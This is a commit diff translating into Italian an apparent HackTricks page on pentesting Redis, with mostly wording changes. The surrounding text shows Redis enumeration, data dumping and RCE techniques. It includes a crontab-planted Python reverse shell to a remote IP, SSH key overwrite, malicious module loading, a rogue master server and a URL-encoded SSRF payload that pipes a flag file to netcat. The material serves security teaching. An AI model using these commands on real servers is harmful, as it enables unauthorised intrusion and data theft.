Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:36:35 +00:00
parent c0ec893443
commit 9b655b6235

View File

@ -4,7 +4,7 @@
## Informazioni di base
Dalla [documentazione](https://redis.io/topics/introduction): Redis è un open source (con licenza BSD), in-memory **data structure store**, utilizzato come **database**, cache e message broker).
Dai [documenti](https://redis.io/topics/introduction): Redis è un software open source (con licenza BSD), in-memory **data structure store**, utilizzato come **database**, cache e message broker).
Per impostazione predefinita, Redis utilizza un protocollo basato su testo semplice, ma devi tenere a mente che può anche implementare **ssl/tls**. Scopri come [eseguire Redis con ssl/tls qui](https://fossies.org/linux/redis/TLS.md).
@ -31,7 +31,7 @@ In un'istanza Redis regolare puoi semplicemente connetterti usando `nc` oppure p
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza di Redis **o qualcosa** come il seguente:
Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza di Redis **o qualcosa** di simile a quanto segue:
```
-NOAUTH Authentication required.
```
@ -75,7 +75,7 @@ Maggiore informazione su come configurare in modo sicuro un servizio Redis qui:
Puoi anche **monitorare in tempo reale i comandi Redis** eseguiti con il comando **`monitor`** o ottenere le **25 query più lente** con **`slowlog get 25`**
Trova ulteriori informazioni interessanti su altri comandi Redis qui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
Trova ulteriori informazioni interessanti su più comandi Redis qui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
@ -96,7 +96,7 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
In caso tu riceva il seguente errore `-WRONGTYPE Operation against a key holding the wrong kind of value` mentre esegui `GET <KEY>`, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla.
Nel caso in cui tu riceva il seguente errore `-WRONGTYPE Operation against a key holding the wrong kind of value` mentre esegui `GET <KEY>`, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla.
Per conoscere il tipo della chiave, usa il comando `TYPE`, esempio qui sotto per chiavi di tipo lista e hash.
```bash
@ -110,7 +110,7 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**Dump il database con npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**Dump del database con npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
## Redis RCE
@ -138,7 +138,7 @@ Se l'accesso al webshell è eccezionale, puoi svuotare il database dopo il backu
### Template Webshell
Come nella sezione precedente, potresti anche sovrascrivere alcuni file di template html che verranno interpretati da un motore di template e ottenere una shell.
Come nella sezione precedente, puoi anche sovrascrivere alcuni file di template html che verranno interpretati da un motore di template e ottenere una shell.
Ad esempio, seguendo [**questo writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puoi vedere che l'attaccante ha iniettato una **rev shell in un html** interpretato dal **motore di template nunjucks:**
```javascript
@ -182,6 +182,8 @@ OK
**Questa tecnica è automatizzata qui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Inoltre, gli utenti di sistema possono essere scoperti controllando con `config set dir /home/USER`, e una volta confermato, un nuovo `authorized_keys` può essere scritto in `/home/USER/.ssh/authorized_keys`. Usa [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) per forzare questo con una wordlist di nomi utente e sovrascrivere `authorized_keys`.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -200,7 +202,7 @@ Questo metodo può essere utilizzato anche per guadagnare bitcoin [yam](https
### Carica il modulo Redis
1. Seguendo le istruzioni da [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puoi **compilare un modulo redis per eseguire comandi arbitrari**.
2. Poi hai bisogno di un modo per **caricare il modulo compilato**
2. Poi hai bisogno di un modo per **caricare il modulo compilato**.
3. **Carica il modulo caricato** durante l'esecuzione con `MODULE LOAD /path/to/mymodule.so`
4. **Elenca i moduli caricati** per controllare che sia stato caricato correttamente: `MODULE LIST`
5. **Esegui** **comandi**:
@ -217,7 +219,7 @@ Questo metodo può essere utilizzato anche per guadagnare bitcoin [yam](https
### Bypass del sandbox LUA
[**Qui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puoi vedere che Redis utilizza il comando **EVAL** per eseguire **codice Lua in sandbox**. Nel post collegato puoi vedere **come abusarne** usando la funzione **dofile**, ma [apparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) questo non è più possibile. Comunque, se riesci a **bypassare il sandbox Lua** potresti **eseguire comandi arbitrari** sul sistema. Inoltre, dallo stesso post puoi vedere alcune **opzioni per causare DoS**.
[**Qui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puoi vedere che Redis utilizza il comando **EVAL** per eseguire **codice Lua sandboxed**. Nel post collegato puoi vedere **come abusarne** usando la funzione **dofile**, ma [apparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) questo non è più possibile. Comunque, se riesci a **bypassare il sandbox** Lua potresti **eseguire comandi arbitrari** sul sistema. Inoltre, dallo stesso post puoi vedere alcune **opzioni per causare DoS**.
Alcuni **CVE per sfuggire da LUA**:
@ -225,7 +227,7 @@ Alcuni **CVE per sfuggire da LUA**:
### Modulo Master-Slave
Il master redis sincronizza automaticamente tutte le operazioni con il slave redis, il che significa che possiamo considerare la vulnerabilità redis come uno slave redis, connesso al master redis che controlliamo, quindi possiamo inserire il comando nel nostro redis.
Il master redis sincronizza automaticamente tutte le operazioni con il slave redis, il che significa che possiamo considerare la vulnerabilità redis come uno slave redis, connesso al master redis che controlliamo noi, quindi possiamo inserire il comando nel nostro redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -266,6 +268,6 @@ E la richiesta **URL encode** **abusando di SSRF** e **CRLF** per eseguire un `w
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui sono state tratte queste informazioni) lo sfruttamento ha funzionato con lo schema `git` e non con lo schema `http`._
_Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui è stata tratta questa informazione) lo sfruttamento ha funzionato con lo schema `git` e non con lo schema `http`._
{{#include ../banners/hacktricks-training.md}}